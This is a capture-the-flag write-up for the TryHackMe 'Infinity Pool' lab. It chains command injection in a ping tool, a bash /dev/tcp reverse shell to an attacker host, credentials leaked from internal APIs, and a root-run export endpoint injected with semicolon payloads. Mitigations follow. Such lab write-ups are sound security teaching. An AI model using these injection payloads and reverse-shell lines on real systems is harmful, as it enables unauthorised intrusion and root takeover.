> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/infinity-pool-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Infinity Pool Writeup

## Summary

Recon on `<MACHINE_IP>` revealed a Gunicorn-hosted "Byte Lotus" hotel site with two paths disallowed in `robots.txt` — `/internal/` and `/status`. The `/status` page exposes an internal staff tool ("Sister-property connectivity") that POSTs a `host` parameter to `/internal/netcheck`, which shells out to `ping` without sanitizing input. This allowed OS command injection as the `web` user, leading to an initial foothold and the user flag.

From there, an internal-only "Watchtower" ops console (`127.0.0.1:3000`) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard through SSH port forwarding and adding a voicemail widget exposed an "Automation Key" bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (`127.0.0.1:9000`), whose `/jobs/export` endpoint built a shell command from an unsanitized `report` parameter — a second command injection, this time as `root`, yielding the root flag.

## Recon

```bash
nmap -A -Pn <MACHINE_IP> -o nmap
```

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
Nmap scan report for <MACHINE_IP>
Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_  256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
|_http-title: Byte Lotus &mdash; Stay Noticed
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   37.96 ms 192.168.128.1
2   ...
3   38.68 ms <MACHINE_IP>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds
```

Two open ports were identified: SSH (22) and HTTP (80, Gunicorn). The unreliable OS guesses can be disregarded.

`robots.txt` disclosed two hidden paths:

```
User-agent: *
Disallow: /internal/
Disallow: /status
```

`/static/app.js` contained a developer comment leaking the internal endpoint behind `/status`:

```javascript
// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
```

`/internal/` returned 404 directly, but `/status` rendered a form:

```html
<form method="post" action="/internal/netcheck" class="tool">
  <input type="text" name="host" value="" placeholder="property host e.g. 10.0.0.5" autofocus>
  <button type="submit">Check</button>
</form>
```

`dirsearch` against the root found nothing further of interest.

## Vulnerability: OS Command Injection in `/internal/netcheck`

The `host` field is passed unsanitized into a shell command, likely `ping <host>` based on the recurring `ping: usage error` output. Standard `;`-separated command chaining worked:

```bash
curl -X POST http://<MACHINE_IP>/internal/netcheck -d 'host=;id'
```

The response included:

```
uid=1001(web) gid=1001(web) groups=1001(web)
ping: usage error: Destination address required
```

Further confirmation:

```
web
/usr/bin/bash
```

### Getting the reverse shell to fire

Initial `curl -d` attempts failed because unescaped `&` in the `/dev/tcp` payload was interpreted as a form-field separator. Using `--data-urlencode` corrected the encoding.

```bash
penelope -p 4444 listen
```

```bash
curl -X POST http://<MACHINE_IP>/internal/netcheck \
  --data-urlencode "host=;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
```

The request returned `Request timed out.`, which was expected because the reverse shell did not return an HTTP response. The listener received a session as `web`:

```
[+] [New Reverse Shell] => tryhackme-2404 <MACHINE_IP> Linux-x86_64 web(1001) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
```

### Root cause confirmed in source

`/var/www/infinity_pool/edge/app.py` confirmed that the `host` value was interpolated directly into an f-string executed with `shell=True`:

```python
@app.route("/internal/netcheck", methods=["POST"])
def netcheck():
    host = request.form.get("host", "").strip()
    if not host:
        return render_template("status.html", host="", output="No host supplied.")
    try:
        proc = subprocess.run(
            f"ping -c 1 {host}",
            shell=True,
            capture_output=True,
            text=True,
            timeout=15,
        )
        output = proc.stdout + proc.stderr
    except subprocess.TimeoutExpired:
        output = "Request timed out."
    return render_template("status.html", host=host, output=output)
```

## Foothold: User Flag

```
web@tryhackme-2404:/var/www/infinity_pool/edge$ id
uid=1001(web) gid=1001(web) groups=1001(web)
web@tryhackme-2404:/var/www/infinity_pool/edge$ cat /home/web/user.txt
THM{REDACTED}
```

The application is served from `/var/www/infinity_pool/edge`.

## Privilege Escalation

### Enumeration as `web`

* `sudo -l` required a password unavailable to `web`:

  ```
  sudo: a password is required
  ```
* `/home/ubuntu` was locked down. `.Xauthority` and `.bash_history` returned permission denied.
* No unusual SUID binaries were found outside standard system defaults and snap-related entries.
* `ss -tulnp` revealed several loopback-only listeners:

  ```
  127.0.0.1:9000
  127.0.0.1:5038   (matches Asterisk AMI's default port)
  127.0.0.1:3000
  127.0.0.1:8080
  127.0.0.1:8088
  127.0.0.1:8089
  127.0.0.1:3306   (MySQL/MariaDB)
  0.0.0.0:22       ssh
  0.0.0.0:80       gunicorn
  ```
* `ps aux` identified the relevant services and service users:

  ```
  web          665  /var/www/infinity_pool/edge/venv/bin/python3 ... gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
  root         664  /var/www/infinity_pool/automation/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
  svc-watch    666  /var/www/infinity_pool/watchtower/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app
  ```

The `edge` application ran as `web` on port 80, the Watchtower service ran as `svc-watch` on port 3000, and the automation service ran as `root` on port 9000.

`/etc/systemd/system/cc-automation.service` confirmed that the automation service ran as root:

```ini
[Unit]
Description=Closed Circuit - Automation job runner (loopback, root)

[Service]
User=root
Group=root
WorkingDirectory=/var/www/infinity_pool/automation
EnvironmentFile=/var/www/infinity_pool/automation/automation.env
ExecStart=/var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
```

`automation.env` was unreadable as `web`.

### Credential leak via Watchtower

The Watchtower ops console exposed FreePBX UCP credentials:

```bash
curl http://localhost:3000/api/config
```

```json
{"automation_endpoint":"http://127.0.0.1:9000",
 "note":"internal network only -- do not expose",
 "ops_note":"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
 "telephony_pass":"St4yN0t1c3d_2026",
 "telephony_portal":"http://127.0.0.1:8080/ucp",
 "telephony_user":"FreePBXUCPTemplateCreator"}
```

The automation service exposed a health endpoint:

```bash
curl http://localhost:9000/health
```

```json
{"endpoints":{"GET /health":"service status",
 "POST /jobs/export":{"auth":"Authorization: Bearer <automation key>",
 "body":{"report":"<report name>"},
 "desc":"archive the latest data export"}},
 "runs_as":"root","service":"automation","status":"ok"}
```

The UCP credentials did not authenticate to Asterisk AMI on port 5038:

```bash
timeout 5 bash -c '(echo -e "Action: Login\r\nUsername: FreePBXUCPTemplateCreator\r\nSecret: St4yN0t1c3d_2026\r\n\r\n"; sleep 2) | nc 127.0.0.1 5038'
```

```
Asterisk Call Manager/9.0.0
Response: Error
Message: Authentication failed
```

### Getting into the UCP dashboard

Curl-based logins to `http://127.0.0.1:8080/ucp/` returned HTTP 200 but did not establish a session. The page kept displaying an empty welcome header and a new login form, indicating that the login flow relied on client-side JavaScript and AJAX behavior.

An SSH key was added to `web`'s writable `authorized_keys` file:

```bash
echo 'ssh-ed25519 AAAA...<REDACTED>... kali@kali' >> ~/.ssh/authorized_keys
```

The internal UCP service was then forwarded locally:

```bash
ssh -L 8080:127.0.0.1:8080 web@<MACHINE_IP>
```

Browsing to `http://127.0.0.1:8080/ucp/` and logging in with the leaked credentials succeeded.

### Leaking the automation key through voicemail Caller ID

Adding a dashboard tab and a Voicemail widget for the `FreePBXUCPTemplateCreator` mailbox revealed a voicemail entry containing the automation bearer key in its Caller ID field:

> Voicemail entry - Tue, Jun 30, 2026 9:31 AM - CID: `"Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>`

The extension matched the automation service port.

### Root via second command injection

The root-run automation service's `/jobs/export` endpoint built a shell command from the unsanitized `report` parameter.

```bash
curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'
```

```json
{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; id #.tgz /var/automation/data 2>&1",
 "output":"uid=0(root) gid=0(root) groups=0(root)\ntar: Removing leading `/' from member names\n"}
```

The root flag was then read directly:

```bash
curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'
```

```json
{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; cat /root/root.txt #.tgz /var/automation/data 2>&1",
 "output":"THM{tr4c3d_t0_th3_h0r1z0n}\ntar: Removing leading `/' from member names\n"}
```

## Root Flag

```
THM{tr4c3d_t0_th3_h0r1z0n}
```

## Key Vulnerabilities

| # | Vulnerability                                                                     | Location                                                     | Impact                                  |
| - | --------------------------------------------------------------------------------- | ------------------------------------------------------------ | --------------------------------------- |
| 1 | Information disclosure via `robots.txt` and JS comment                            | `/robots.txt`, `/static/app.js`                              | Revealed hidden internal staff endpoint |
| 2 | OS command injection through unsanitized `host` with `shell=True` and an f-string | `POST /internal/netcheck`                                    | RCE as `web` (uid 1001)                 |
| 3 | Plaintext credential disclosure through internal API                              | `GET /api/config` on Watchtower (`127.0.0.1:3000`)           | Leaked live FreePBX UCP credentials     |
| 4 | Sensitive token exposed in an unrelated UI field                                  | UCP voicemail Caller ID, extension 9000                      | Leaked automation service bearer token  |
| 5 | OS command injection through unsanitized `report` parameter in root-run service   | `POST /jobs/export` on automation service (`127.0.0.1:9000`) | RCE as `root`                           |

## Attack Chain

```
[robots.txt disallow] --> [/status leaks /internal/netcheck endpoint]
        |
        v
[POST host=;<cmd> to /internal/netcheck] --> [OS command injection as web]
        |
        v
[bash /dev/tcp reverse shell] --> [foothold as web (uid=1001)]
        |
        v
[user.txt captured]
        |
        v
[ss -tulnp: unlabeled internal ports] --> [ps aux: identifies edge/watchtower/automation + owners]
        |
        v
[GET /api/config on Watchtower (127.0.0.1:3000)] --> [leaked FreePBX UCP creds]
        |
        v
[SSH key added to web's authorized_keys] --> [SSH port-forward 8080 to real browser]
        |
        v
[Login to UCP, add Voicemail widget] --> [Automation Key leaked in voicemail CID]
        |
        v
[POST report=;<cmd># to /jobs/export with Bearer key] --> [OS command injection as root]
        |
        v
[root.txt captured]
```

## Mitigations

* Never pass user-supplied input directly into shell commands. Use subprocess argument lists without `shell=True` and validate inputs with strict allowlists. Both `/internal/netcheck` and `/jobs/export` require remediation.
* Do not rely on `robots.txt` or client-side comments to hide internal functionality. Enforce authentication and network-level access controls.
* Do not return plaintext credentials from internal status or configuration APIs. Loopback-only services remain accessible after local compromise.
* Rotate default and template credentials, especially when internal notes explicitly identify them as unrotated.
* Do not place secrets, such as bearer tokens, into human-readable UI fields such as caller ID or display names.
* Run automation services with least privilege. The export service should use a dedicated low-privilege account rather than `root`.
